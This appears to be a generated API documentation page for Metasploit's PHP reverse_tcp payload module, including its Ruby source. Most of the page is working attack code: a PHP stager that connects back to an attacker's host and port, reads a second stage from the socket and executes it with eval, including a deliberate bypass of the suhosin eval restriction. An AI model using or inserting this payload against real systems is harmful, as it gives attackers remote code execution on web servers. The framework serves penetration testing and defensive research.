Module: Msf::Payload::Php::ReverseTcp

Includes:
SendUUID, UUID::Options
Defined in:
lib/msf/core/payload/php/reverse_tcp.rb

Overview

Complex reverse_tcp payload generation for PHP

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from SendUUID

#php_send_uuid

Instance Method Details

#generateObject

Generate the first stage


24
25
26
27
28
29
30
31
32
33
34
# File 'lib/msf/core/payload/php/reverse_tcp.rb', line 24

def generate
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
  }

  php = super + generate_reverse_tcp(conf)
  php.gsub!(/#.*$/, '')
  Rex::Text.compress(php)
end

#generate_reverse_tcp(opts = {}) ⇒ Object


48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# File 'lib/msf/core/payload/php/reverse_tcp.rb', line 48

def generate_reverse_tcp(opts={})
  ipf = "AF_INET";
  if Rex::Socket.is_ipv6?(opts[:host])
    ipf << "6"
    opts[:host] = "[#{opts[:host]}]"
  end

  php = %Q^/*<?php /**/
error_reporting(0);
$ip = '#{opts[:host]}';
$port = #{opts[:port]};

if (($f = 'stream_socket_client') && is_callable($f)) {
	$s = $f("tcp://{$ip}:{$port}");
	$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
	$s = $f($ip, $port);
	$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
	$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
	$res = @socket_connect($s, $ip, $port);
	if (!$res) { die(); }
	$s_type = 'socket';
}
if (!$s_type) {
	die('no socket funcs');
}
if (!$s) { die('no socket'); }
^

  php << php_send_uuid if include_send_uuid

  php << %Q^switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	# We failed on the main socket.  There's no way to continue, so
	# bail
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) {
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^
end

#handle_intermediate_stage(conn, payload) ⇒ Object


117
118
119
# File 'lib/msf/core/payload/php/reverse_tcp.rb', line 117

def handle_intermediate_stage(conn, payload)
  conn.put([payload.length].pack("N"))
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


40
41
42
# File 'lib/msf/core/payload/php/reverse_tcp.rb', line 40

def include_send_uuid
  false
end

#transport_config(opts = {}) ⇒ Object


44
45
46
# File 'lib/msf/core/payload/php/reverse_tcp.rb', line 44

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end